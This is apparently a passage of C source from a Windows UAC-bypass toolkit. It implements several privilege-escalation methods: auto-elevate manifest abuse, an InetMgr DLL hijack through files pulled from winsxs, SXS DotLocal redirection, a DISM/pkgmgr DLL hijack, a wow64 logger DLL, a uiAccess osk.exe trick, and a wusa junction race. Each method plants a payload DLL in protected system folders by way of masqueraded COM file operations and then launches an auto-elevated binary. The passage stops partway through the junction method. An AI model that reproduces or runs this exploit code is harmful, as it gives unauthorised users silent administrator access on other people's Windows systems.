if (!ucmxAutoElevateManifestDropDll(ProxyDll, ProxyDllSize)) {
|
|
break;
|
|
}
|
|
|
|
//put target manifest
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
_strcpy(szSource, g_ctx->szTempDirectory);
|
|
_strcat(szSource, lpApplication);
|
|
_strcat(szSource, MANIFEST_EXT);
|
|
|
|
if (!supDecodeAndWriteBufferToFile(szSource,
|
|
(CONST PVOID)&g_encodedManifestData,
|
|
sizeof(g_encodedManifestData),
|
|
AKAGI_XOR_KEY2))
|
|
{
|
|
break;
|
|
}
|
|
|
|
RtlSecureZeroMemory(szDest, sizeof(szDest));
|
|
_strcpy(szDest, USER_SHARED_DATA->NtSystemRoot);
|
|
if (!ucmMasqueradedMoveFileCOM(szSource, szDest)) {
|
|
break;
|
|
}
|
|
|
|
_strcat(szDest, L"\\");
|
|
_strcat(szDest, lpApplication);
|
|
if (supRunProcess(szDest, NULL))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
} while (FALSE);
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmAutoElevateManifest
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC by abusing appinfo whitelist and SXS undocumented feature.
|
|
* Ironically revealed by Microsoft itself in their attempt to fix UAC exploit.
|
|
* Supported at Windows 7 minimum (older versions not checked).
|
|
*
|
|
* Fixed in Windows 10 RS1
|
|
*
|
|
*/
|
|
NTSTATUS ucmAutoElevateManifest(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
WCHAR szDest[MAX_PATH * 2];
|
|
WCHAR szSource[MAX_PATH * 2];
|
|
LPWSTR lpApplication = NULL;
|
|
|
|
do {
|
|
|
|
if (g_ctx->dwBuildNumber < 9600) {
|
|
return ucmAutoElevateManifestW7(ProxyDll, ProxyDllSize);
|
|
}
|
|
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
RtlSecureZeroMemory(szDest, sizeof(szDest));
|
|
|
|
_strcpy(szSource, g_ctx->szSystemDirectory);
|
|
_strcpy(szDest, g_ctx->szTempDirectory);
|
|
_strcat(szSource, TZSYNC_EXE); //doesn't really matter, Yuubari module lists multiple targets
|
|
lpApplication = MIGWIZ_EXE;
|
|
_strcat(szDest, lpApplication);
|
|
|
|
// Copy target to temp directory
|
|
if (!CopyFile(szSource, szDest, FALSE))
|
|
break;
|
|
|
|
_strcpy(szSource, szDest);
|
|
|
|
// Copy target app to home
|
|
RtlSecureZeroMemory(szDest, sizeof(szDest));
|
|
_strcpy(szDest, g_ctx->szSystemDirectory);
|
|
if (!ucmMasqueradedMoveFileCOM(szSource, szDest)) {
|
|
break;
|
|
}
|
|
|
|
if (!ucmxAutoElevateManifestDropDll(ProxyDll, ProxyDllSize)) {
|
|
break;
|
|
}
|
|
|
|
//put target manifest
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
_strcpy(szSource, g_ctx->szTempDirectory);
|
|
_strcat(szSource, lpApplication);
|
|
_strcat(szSource, MANIFEST_EXT);
|
|
|
|
if (!supDecodeAndWriteBufferToFile(szSource,
|
|
(CONST PVOID)&g_encodedManifestData,
|
|
sizeof(g_encodedManifestData),
|
|
AKAGI_XOR_KEY2))
|
|
{
|
|
break;
|
|
}
|
|
|
|
RtlSecureZeroMemory(szDest, sizeof(szDest));
|
|
_strcpy(szDest, g_ctx->szSystemDirectory);
|
|
if (!ucmMasqueradedMoveFileCOM(szSource, szDest)) {
|
|
break;
|
|
}
|
|
|
|
_strcpy(szDest, g_ctx->szSystemDirectory);
|
|
_strcat(szDest, lpApplication);
|
|
if (supRunProcess(szDest, NULL))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
} while (FALSE);
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmInetMgrFindCallback
|
|
*
|
|
* Purpose:
|
|
*
|
|
* File search callback which does all the magic.
|
|
*
|
|
*/
|
|
BOOL ucmInetMgrFindCallback(
|
|
_In_ WIN32_FIND_DATA *fdata,
|
|
_In_ LPWSTR lpDirectory,
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
BOOL bCond = FALSE, bSuccess = FALSE;
|
|
SIZE_T l = 0;
|
|
HANDLE hFile = INVALID_HANDLE_VALUE, hFileMapping = NULL;
|
|
PDWORD MappedFile = NULL;
|
|
LARGE_INTEGER FileSize;
|
|
CFILE_TYPE ft;
|
|
|
|
PVOID OutputBuffer = NULL;
|
|
SIZE_T OutputBufferSize = 0;
|
|
|
|
WCHAR textbuf[MAX_PATH * 4];
|
|
WCHAR szDest[MAX_PATH * 2];
|
|
|
|
if (lpDirectory == NULL)
|
|
return FALSE;
|
|
|
|
do {
|
|
if (fdata->dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
|
break;
|
|
|
|
if (_strcmpi(fdata->cFileName, INETMGR_EXE) != 0)
|
|
break;
|
|
|
|
RtlSecureZeroMemory(&textbuf, sizeof(textbuf));
|
|
_strcpy(textbuf, lpDirectory);
|
|
|
|
l = _strlen(textbuf);
|
|
if (textbuf[l - 1] != L'\\') {
|
|
textbuf[l] = L'\\';
|
|
textbuf[l + 1] = 0;
|
|
}
|
|
_strcat(textbuf, fdata->cFileName);
|
|
|
|
hFile = CreateFile(textbuf, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
|
|
if (hFile == INVALID_HANDLE_VALUE)
|
|
break;
|
|
|
|
FileSize.QuadPart = 0;
|
|
if (!GetFileSizeEx(hFile, &FileSize))
|
|
break;
|
|
|
|
if (FileSize.QuadPart < 8)
|
|
break;
|
|
|
|
hFileMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
|
|
if (hFileMapping == NULL)
|
|
break;
|
|
|
|
MappedFile = (PDWORD)MapViewOfFile(hFileMapping, PAGE_READWRITE, 0, 0, 0);
|
|
if (MappedFile == NULL)
|
|
break;
|
|
|
|
ft = GetTargetFileType(MappedFile);
|
|
if (ft == ftUnknown)
|
|
break;
|
|
|
|
switch (ft) {
|
|
|
|
case ftMZ: //win7
|
|
bSuccess = ProcessFileMZ(MappedFile, (SIZE_T)FileSize.LowPart, &OutputBuffer, &OutputBufferSize);
|
|
break;
|
|
|
|
case ftDCN://win8
|
|
bSuccess = ProcessFileDCN(MappedFile, (SIZE_T)FileSize.LowPart, &OutputBuffer, &OutputBufferSize);
|
|
break;
|
|
|
|
case ftDCS://win10
|
|
|
|
if (InitCabinetDecompressionAPI()) {
|
|
bSuccess = ProcessFileDCS(MappedFile, (SIZE_T)FileSize.LowPart, &OutputBuffer, &OutputBufferSize);
|
|
}
|
|
break;
|
|
|
|
default:
|
|
break;
|
|
|
|
}
|
|
|
|
//is there any error processing files from winsxs?
|
|
if (!bSuccess)
|
|
break;
|
|
|
|
RtlSecureZeroMemory(&textbuf, sizeof(textbuf));
|
|
_strcpy(textbuf, g_ctx->szTempDirectory);
|
|
_strcat(textbuf, INETMGR_EXE);
|
|
|
|
bSuccess = supWriteBufferToFile(textbuf, OutputBuffer, (DWORD)OutputBufferSize);
|
|
if (!bSuccess)
|
|
break;
|
|
|
|
RtlSecureZeroMemory(&szDest, sizeof(szDest));
|
|
_strcpy(szDest, g_ctx->szSystemDirectory);
|
|
_strcat(szDest, INETSRV_DIR);
|
|
bSuccess = ucmMasqueradedMoveFileCOM(textbuf, szDest);
|
|
if (!bSuccess)
|
|
break;
|
|
|
|
_strcpy(textbuf, g_ctx->szTempDirectory);
|
|
_strcat(textbuf, MSCOREE_DLL);
|
|
bSuccess = supWriteBufferToFile(textbuf, ProxyDll, ProxyDllSize);
|
|
if (!bSuccess)
|
|
break;
|
|
|
|
bSuccess = ucmMasqueradedMoveFileCOM(textbuf, szDest);
|
|
if (!bSuccess)
|
|
break;
|
|
|
|
_strcat(szDest, INETMGR_EXE);
|
|
bSuccess = supRunProcess(szDest, NULL);
|
|
|
|
} while (bCond);
|
|
|
|
|
|
if (MappedFile != NULL)
|
|
UnmapViewOfFile(MappedFile);
|
|
|
|
if (hFileMapping != NULL)
|
|
CloseHandle(hFileMapping);
|
|
|
|
if (hFile != INVALID_HANDLE_VALUE)
|
|
CloseHandle(hFile);
|
|
|
|
if (OutputBuffer != NULL)
|
|
supHeapFree(OutputBuffer);
|
|
|
|
return bSuccess;
|
|
}
|
|
|
|
typedef BOOL(CALLBACK *UCMX_FIND_FILE_CALLBACK)(
|
|
_In_ WIN32_FIND_DATA *fdata,
|
|
_In_ LPWSTR lpDirectory,
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize);
|
|
|
|
/*
|
|
* ucmxScanFiles
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Find files of the given type and run callback over them.
|
|
*
|
|
*/
|
|
BOOL ucmxScanFiles(
|
|
_In_ LPWSTR lpDirectory,
|
|
_In_ LPWSTR lpFileType,
|
|
_In_ UCMX_FIND_FILE_CALLBACK Callback,
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
BOOL bStopEnumeration = FALSE;
|
|
HANDLE hFile;
|
|
WCHAR textbuf[MAX_PATH * 2];
|
|
WIN32_FIND_DATA fdata;
|
|
|
|
if ((Callback == NULL) || (lpDirectory == NULL) || (lpFileType == NULL))
|
|
return FALSE;
|
|
|
|
RtlSecureZeroMemory(textbuf, sizeof(textbuf));
|
|
|
|
_strncpy(textbuf, MAX_PATH, lpDirectory, MAX_PATH);
|
|
_strcat(textbuf, L"\\");
|
|
_strncpy(_strend(textbuf), 20, lpFileType, 20);
|
|
|
|
RtlSecureZeroMemory(&fdata, sizeof(fdata));
|
|
hFile = FindFirstFile(textbuf, &fdata);
|
|
if (hFile != INVALID_HANDLE_VALUE) {
|
|
do {
|
|
|
|
bStopEnumeration = Callback(&fdata, lpDirectory, ProxyDll, ProxyDllSize);
|
|
if (bStopEnumeration)
|
|
break;
|
|
|
|
} while (FindNextFile(hFile, &fdata));
|
|
FindClose(hFile);
|
|
}
|
|
return bStopEnumeration;
|
|
}
|
|
|
|
/*
|
|
* ucmInetMgrMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Since Windows 10 TH2 appinfo whitelist with full path two applications, which they were unable to redesign/move.
|
|
* Sysprep.exe and inetmgr.exe (IIS). This was made in a favor of the UAC fix where was fixed
|
|
* WinSAT concept method, when you can copy autoelevated executables within windows folders to do all
|
|
* required preparations for dll hijack. However InetMgr.exe does not exist in default windows setup.
|
|
* This component installed only if user choose to install IIS which most of people don't use at all.
|
|
* InetMgr component sits in winsxs folder (packed in win8+). We will simple use it (expand if needed) and abuse dll hijack
|
|
* as always directly with their hardcoded "safe" file path.
|
|
*
|
|
* Fixed in Windows 10 RS1
|
|
*
|
|
*/
|
|
NTSTATUS ucmInetMgrMethod(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
BOOL bScanResult;
|
|
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
WCHAR szDirBuf[MAX_PATH * 2];
|
|
HANDLE hFindFile;
|
|
WIN32_FIND_DATA fdata;
|
|
|
|
do {
|
|
|
|
//target dir
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
_strcat(szBuffer, INETSRV_DIR);
|
|
_strcat(szBuffer, INETMGR_EXE);
|
|
|
|
//File already exist, so IIS could be installed
|
|
if (PathFileExists(szBuffer)) {
|
|
MethodResult = STATUS_OBJECT_NAME_EXISTS;
|
|
break;
|
|
}
|
|
|
|
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
|
|
_strcpy(szBuffer, USER_SHARED_DATA->NtSystemRoot);
|
|
_strcat(szBuffer, L"\\winsxs\\");
|
|
|
|
_strcpy(szDirBuf, szBuffer);
|
|
_strcat(szBuffer, L"*");
|
|
|
|
RtlSecureZeroMemory(&fdata, sizeof(fdata));
|
|
hFindFile = FindFirstFile(szBuffer, &fdata);
|
|
if (hFindFile != INVALID_HANDLE_VALUE) {
|
|
|
|
do {
|
|
|
|
if ((fdata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) &&
|
|
(fdata.cFileName[0] != L'.')
|
|
)
|
|
{
|
|
if (_strstri(fdata.cFileName, INETMGR_SXS) != NULL) {
|
|
|
|
_strcpy(szBuffer, szDirBuf);
|
|
_strcat(szBuffer, fdata.cFileName);
|
|
|
|
bScanResult = ucmxScanFiles(
|
|
szBuffer,
|
|
L"*.exe",
|
|
(UCMX_FIND_FILE_CALLBACK)&ucmInetMgrFindCallback,
|
|
ProxyDll,
|
|
ProxyDllSize);
|
|
|
|
if (bScanResult) {
|
|
MethodResult = STATUS_SUCCESS;
|
|
break;
|
|
}
|
|
|
|
}
|
|
}
|
|
|
|
} while (FindNextFile(hFindFile, &fdata));
|
|
|
|
FindClose(hFindFile);
|
|
}
|
|
|
|
} while (FALSE);
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmSXSMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Exploit SXS Local Redirect feature.
|
|
*
|
|
* SXS/Fusion uses dll redirection, attempting to load internal manifest dependencies from
|
|
* non existent directory (this is so called DotLocal dll redirection), it is trying to do this
|
|
* before going to WinSXS store.
|
|
*
|
|
* In this case dependency is Microsoft.Windows.Common-Controls.
|
|
*
|
|
* Maybe you think it is handy cool feature, but I think its another backdoor from lazy dotnet crew.
|
|
* "You keep shipping crap, and crap, and more crap".
|
|
*
|
|
*/
|
|
NTSTATUS ucmSXSMethod(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize,
|
|
_In_opt_ LPWSTR lpTargetDirectory, //single element in system32 with slash at end
|
|
_In_ LPWSTR lpTargetApplication, //executable name
|
|
_In_opt_ LPWSTR lpLaunchApplication, //executable name, must be in same dir as lpTargetApplication
|
|
_In_ BOOL bConsentItself
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
WCHAR *lpszFullDllPath = NULL, *lpszDirectoryName = NULL;
|
|
SIZE_T sz;
|
|
LPWSTR lpSxsPath = NULL;
|
|
|
|
WCHAR szSrc[MAX_PATH * 2], szDst[MAX_PATH * 2];
|
|
|
|
SXS_SEARCH_CONTEXT sctx;
|
|
|
|
if (lpTargetApplication == NULL)
|
|
return STATUS_INVALID_PARAMETER_3;
|
|
|
|
if (_strlen(lpTargetApplication) > MAX_PATH)
|
|
return STATUS_INVALID_PARAMETER_3;
|
|
|
|
do {
|
|
//common part, locate sxs dll, drop payload to temp
|
|
RtlSecureZeroMemory(szSrc, sizeof(szSrc));
|
|
RtlSecureZeroMemory(szDst, sizeof(szDst));
|
|
|
|
sz = UNICODE_STRING_MAX_BYTES;
|
|
|
|
lpszFullDllPath = (WCHAR*)supVirtualAlloc(
|
|
&sz,
|
|
DEFAULT_ALLOCATION_TYPE,
|
|
DEFAULT_PROTECT_TYPE,
|
|
NULL);
|
|
|
|
if (lpszFullDllPath == NULL)
|
|
break;
|
|
|
|
sctx.DllName = COMCTL32_DLL;
|
|
sctx.SxsKey = COMCTL32_SXS;
|
|
sctx.FullDllPath = lpszFullDllPath;
|
|
|
|
if (!sxsFindLoaderEntry(&sctx))
|
|
break;
|
|
|
|
lpszDirectoryName = _filename(lpszFullDllPath);
|
|
if (lpszDirectoryName == NULL)
|
|
break;
|
|
|
|
sz = PAGE_SIZE + (_strlen(lpszDirectoryName) * sizeof(WCHAR));
|
|
|
|
lpSxsPath = (LPWSTR)supVirtualAlloc(
|
|
&sz,
|
|
DEFAULT_ALLOCATION_TYPE,
|
|
DEFAULT_PROTECT_TYPE,
|
|
NULL);
|
|
|
|
if (lpSxsPath == NULL)
|
|
break;
|
|
|
|
//drop payload dll
|
|
_strcpy(szSrc, g_ctx->szTempDirectory);
|
|
_strcat(szSrc, COMCTL32_DLL);
|
|
|
|
if (!supWriteBufferToFile(szSrc, ProxyDll, ProxyDllSize))
|
|
break;
|
|
|
|
_strcpy(lpSxsPath, g_ctx->szSystemDirectory);
|
|
if (lpTargetDirectory) {
|
|
_strcat(lpSxsPath, lpTargetDirectory);
|
|
}
|
|
_strcpy(szDst, lpTargetApplication);
|
|
|
|
//
|
|
// Workaround for consent, so it won't ban itself.
|
|
// Create all files and target directories with fake root name.
|
|
// Next when all fileop is done, rename fake root to real.
|
|
//
|
|
if (bConsentItself) {
|
|
_strcat(szDst, FAKE_LOCAL_SXS);
|
|
}
|
|
else {
|
|
_strcat(szDst, LOCAL_SXS);
|
|
}
|
|
|
|
//create local directory
|
|
if (!ucmMasqueradedCreateSubDirectoryCOM(lpSxsPath, szDst))
|
|
break;
|
|
|
|
//create assembly directory
|
|
_strcat(lpSxsPath, szDst);
|
|
if (!ucmMasqueradedCreateSubDirectoryCOM(lpSxsPath, lpszDirectoryName))
|
|
break;
|
|
|
|
//move payload file
|
|
_strcat(lpSxsPath, TEXT("\\"));
|
|
_strcat(lpSxsPath, lpszDirectoryName);
|
|
if (!ucmMasqueradedMoveFileCOM(szSrc, lpSxsPath))
|
|
break;
|
|
|
|
//
|
|
// Consent workaround end.
|
|
// Restore real directory name.
|
|
//
|
|
if (bConsentItself) {
|
|
_strcpy(lpSxsPath, g_ctx->szSystemDirectory);
|
|
if (lpTargetDirectory) {
|
|
_strcat(lpSxsPath, lpTargetDirectory);
|
|
}
|
|
_strcat(lpSxsPath, lpTargetApplication);
|
|
_strcat(lpSxsPath, FAKE_LOCAL_SXS);
|
|
|
|
_strcpy(szDst, lpTargetApplication);
|
|
_strcat(szDst, LOCAL_SXS);
|
|
|
|
if (!ucmMasqueradedRenameElementCOM(lpSxsPath, szDst))
|
|
break;
|
|
|
|
}
|
|
|
|
//run target process
|
|
_strcpy(szDst, g_ctx->szSystemDirectory);
|
|
if (lpTargetDirectory) {
|
|
_strcat(szDst, lpTargetDirectory);
|
|
}
|
|
|
|
if (lpLaunchApplication) {
|
|
_strcat(szDst, lpLaunchApplication);
|
|
}
|
|
else {
|
|
_strcat(szDst, lpTargetApplication);
|
|
}
|
|
|
|
if (supRunProcess(szDst, NULL))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
} while (FALSE);
|
|
|
|
if (lpszFullDllPath) supVirtualFree(lpszFullDllPath, NULL);
|
|
if (lpSxsPath) supVirtualFree(lpSxsPath, NULL);
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmSXSMethodCleanup
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Post execution cleanup routine for SXSMethod.
|
|
*
|
|
*/
|
|
BOOL ucmSXSMethodCleanup(
|
|
_In_ BOOL bConsentItself
|
|
)
|
|
{
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
|
|
if (bConsentItself) {
|
|
_strcat(szBuffer, CONSENT_EXE);
|
|
}
|
|
else {
|
|
_strcat(szBuffer, SYSPREP_DIR);
|
|
_strcat(szBuffer, SYSPREP_EXE);
|
|
}
|
|
_strcat(szBuffer, LOCAL_SXS);
|
|
|
|
return ucmMasqueradedDeleteDirectoryFileCOM(szBuffer);
|
|
}
|
|
|
|
/*
|
|
* ucmDismMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Exploit DISM application dll loading scheme.
|
|
*
|
|
* Dism.exe located in system32 folder while it dlls are in system32\dism
|
|
* When loaded dism first attempt to load dlls from system32 folder.
|
|
*
|
|
* Trigger: pkgmgr.exe
|
|
* PkgMgr.exe is autoelevated whitelisted application which is actually just calling Dism.exe
|
|
*
|
|
*/
|
|
NTSTATUS ucmDismMethod(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
BOOL bNeedCleanup = FALSE;
|
|
WCHAR szSource[MAX_PATH * 2], szDest[MAX_PATH * 2];
|
|
|
|
do {
|
|
|
|
//put target dll
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
_strcpy(szSource, g_ctx->szTempDirectory);
|
|
_strcat(szSource, DISMCORE_DLL);
|
|
|
|
//write proxy dll to disk
|
|
if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) {
|
|
break;
|
|
}
|
|
|
|
bNeedCleanup = TRUE;
|
|
|
|
_strcpy(szDest, g_ctx->szSystemDirectory);
|
|
if (!ucmMasqueradedMoveFileCOM(szSource, szDest))
|
|
break;
|
|
|
|
_strcpy(szSource, g_ctx->szTempDirectory);
|
|
_strcat(szSource, PACKAGE_XML);
|
|
|
|
//write package data to disk
|
|
if (!supDecodeAndWriteBufferToFile(szSource,
|
|
(CONST PVOID)&g_encodedPackageData,
|
|
sizeof(g_encodedPackageData),
|
|
AKAGI_XOR_KEY2))
|
|
{
|
|
break;
|
|
}
|
|
|
|
_strcpy(szDest, g_ctx->szSystemDirectory);
|
|
_strcat(szDest, PKGMGR_EXE);
|
|
|
|
_strcpy(szSource, TEXT("/n:"));
|
|
_strcat(szSource, g_ctx->szTempDirectory);
|
|
_strcat(szSource, PACKAGE_XML);
|
|
|
|
if (supRunProcess(szDest, szSource))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
} while (FALSE);
|
|
|
|
//
|
|
// Cleanup temp.
|
|
//
|
|
if (bNeedCleanup) {
|
|
_strcpy(szSource, g_ctx->szTempDirectory);
|
|
_strcat(szSource, DISMCORE_DLL);
|
|
DeleteFile(szSource);
|
|
|
|
_strcpy(szSource, g_ctx->szTempDirectory);
|
|
_strcat(szSource, PACKAGE_XML);
|
|
DeleteFile(szSource);
|
|
}
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmWow64LoggerMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC using wow64 logger dll and wow64 application.
|
|
*
|
|
* Trigger: 32bit version of wusa.exe
|
|
* Loader will map and call our logger dll during wow64 process initialization.
|
|
*
|
|
*/
|
|
NTSTATUS ucmWow64LoggerMethod(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
WCHAR szTarget[MAX_PATH * 2];
|
|
|
|
//
|
|
// Build target application full path.
|
|
// We need autoelevated application from syswow64 folder ONLY.
|
|
//
|
|
_strcpy(szTarget, USER_SHARED_DATA->NtSystemRoot);
|
|
_strcat(szTarget, SYSWOW64_DIR);
|
|
_strcat(szTarget, WUSA_EXE);
|
|
|
|
if (ucmGenericAutoelevation(szTarget, WOW64LOG_DLL, ProxyDll, ProxyDllSize)) {
|
|
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
//
|
|
// Attempt to remove payload dll after execution in method.c!PostCleanupAttempt.
|
|
// Warning: every wow64 application will load payload code (some will crash).
|
|
// Remove file IMMEDIATELY after work.
|
|
//
|
|
}
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmUiAccessMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC using uiAccess(true) application.
|
|
* Original method source
|
|
* https://habrahabr.ru/company/pm/blog/328008/
|
|
*
|
|
*/
|
|
NTSTATUS ucmUiAccessMethod(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
SIZE_T Length;
|
|
DWORD DllVirtualSize;
|
|
LPWSTR lpEnv = NULL, lpTargetDll;
|
|
PVOID EntryPoint, DllBase;
|
|
PIMAGE_NT_HEADERS NtHeaders;
|
|
UNICODE_STRING uStr = RTL_CONSTANT_STRING(L"ProgramFiles=");
|
|
WCHAR szTarget[MAX_PATH * 2];
|
|
WCHAR szSource[MAX_PATH * 2];
|
|
|
|
do {
|
|
|
|
//
|
|
// There is no osksupport.dll in Windows 7.
|
|
//
|
|
if (g_ctx->dwBuildNumber < 9200)
|
|
lpTargetDll = DUSER_DLL;
|
|
else
|
|
lpTargetDll = OSKSUPPORT_DLL;
|
|
|
|
//
|
|
// Replace default Fubuki dll entry point with new.
|
|
//
|
|
NtHeaders = RtlImageNtHeader(ProxyDll);
|
|
if (NtHeaders == NULL) {
|
|
MethodResult = STATUS_INVALID_IMAGE_FORMAT;
|
|
break;
|
|
}
|
|
|
|
DllVirtualSize = 0;
|
|
DllBase = PELoaderLoadImage(ProxyDll, &DllVirtualSize);
|
|
if (DllBase) {
|
|
|
|
//
|
|
// Get the new entrypoint.
|
|
//
|
|
EntryPoint = PELoaderGetProcAddress(DllBase, FUBUKI_EXT_ENTRYPOINT);
|
|
if (EntryPoint) {
|
|
|
|
//
|
|
// Set new entrypoint and recalculate checksum.
|
|
//
|
|
NtHeaders->OptionalHeader.AddressOfEntryPoint =
|
|
(ULONG)((ULONG_PTR)EntryPoint - (ULONG_PTR)DllBase);
|
|
|
|
NtHeaders->OptionalHeader.CheckSum =
|
|
supCalculateCheckSumForMappedFile(ProxyDll, ProxyDllSize);
|
|
}
|
|
|
|
VirtualFree(DllBase, 0, MEM_RELEASE);
|
|
|
|
}
|
|
else {
|
|
MethodResult = STATUS_IMAGE_NOT_AT_BASE;
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Drop modified fubuki.dll to the %temp%
|
|
//
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
_strcpy(szSource, g_ctx->szTempDirectory);
|
|
_strcat(szSource, lpTargetDll);
|
|
if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize))
|
|
break;
|
|
|
|
//
|
|
// Build target path in g_lpIncludePFDirs
|
|
//
|
|
lpEnv = supQueryEnvironmentVariableOffset(&uStr);
|
|
if (lpEnv == NULL)
|
|
break;
|
|
|
|
Length = _strlen(lpEnv);
|
|
if ((Length == 0) || (Length > MAX_PATH))
|
|
break;
|
|
|
|
RtlSecureZeroMemory(&szTarget, sizeof(szTarget));
|
|
_strncpy(szTarget, MAX_PATH, lpEnv, MAX_PATH);
|
|
_strcat(szTarget, TEXT("\\"));
|
|
_strcat(szTarget, T_WINDOWSMEDIAPLAYER);
|
|
_strcat(szTarget, TEXT("\\"));
|
|
|
|
//
|
|
// In case if Media Player is not installed / available.
|
|
// Note: additional check of g_lpIncludedPFDirs?
|
|
//
|
|
if (!PathFileExists(szTarget)) {
|
|
if (!ucmMasqueradedCreateSubDirectoryCOM(lpEnv, T_WINDOWSMEDIAPLAYER))
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Copy Fubuki to target directory.
|
|
//
|
|
if (!ucmMasqueradedMoveFileCOM(szSource, szTarget))
|
|
break;
|
|
|
|
//
|
|
// Copy osk.exe to Program Files\Windows Media Player
|
|
//
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
_strcpy(szSource, g_ctx->szSystemDirectory);
|
|
_strcat(szSource, OSK_EXE);
|
|
if (!ucmMasqueradedMoveCopyFileCOM(szSource, szTarget, FALSE))
|
|
break;
|
|
|
|
//
|
|
// Run uiAccess osk.exe from Program Files.
|
|
//
|
|
_strcat(szTarget, OSK_EXE);
|
|
if (supRunProcess2(szTarget, NULL, NULL, SW_SHOW, FALSE)) {
|
|
//
|
|
// Run eventvwr.exe as final trigger.
|
|
// Spawns mmc.exe with eventvwr.msc snap-in.
|
|
//
|
|
_strcpy(szTarget, g_ctx->szSystemDirectory);
|
|
_strcat(szTarget, EVENTVWR_EXE);
|
|
if (supRunProcess2(szTarget, NULL, NULL, SW_SHOW, FALSE))
|
|
MethodResult = STATUS_SUCCESS;
|
|
}
|
|
|
|
} while (FALSE);
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmJunctionMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC using two different steps:
|
|
*
|
|
* 1) Create wusa.exe race condition and force wusa to copy files to the protected directory using NTFS reparse point.
|
|
* 2) Dll hijack dotnet dependencies.
|
|
*
|
|
* Wusa race condition in combination with junctions found by Thomas Vanhoutte.
|
|
*
|
|
*/
|
|
NTSTATUS ucmJunctionMethod(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
BOOL bDropComplete = FALSE, bWusaNeedCleanup = FALSE;
|
|
HKEY hKey = NULL;
|
|
LRESULT lResult;
|
|
|
|
LPWSTR lpTargetDirectory = NULL, lpEnd = NULL;
|
|
|
|
DWORD i, cValues = 0, cbMaxValueNameLen = 0, bytesIO;
|
|
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
WCHAR szSource[MAX_PATH * 2];
|
|
|
|
do {
|
|
|
|
//
|
|
// Drop payload dll to %temp% and make cab for it.
|
|
//
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
_strcpy(szSource, g_ctx->szTempDirectory);
|
|
|
|
if (g_ctx->dwBuildNumber < 9600) {
|
|
_strcat(szSource, OLE32_DLL);
|
|
}
|
|
else {
|
|
_strcat(szSource, MSCOREE_DLL);
|
|
}
|
|
|
|
bWusaNeedCleanup = ucmCreateCabinetForSingleFile(szSource, ProxyDll, ProxyDllSize, NULL);
|
|
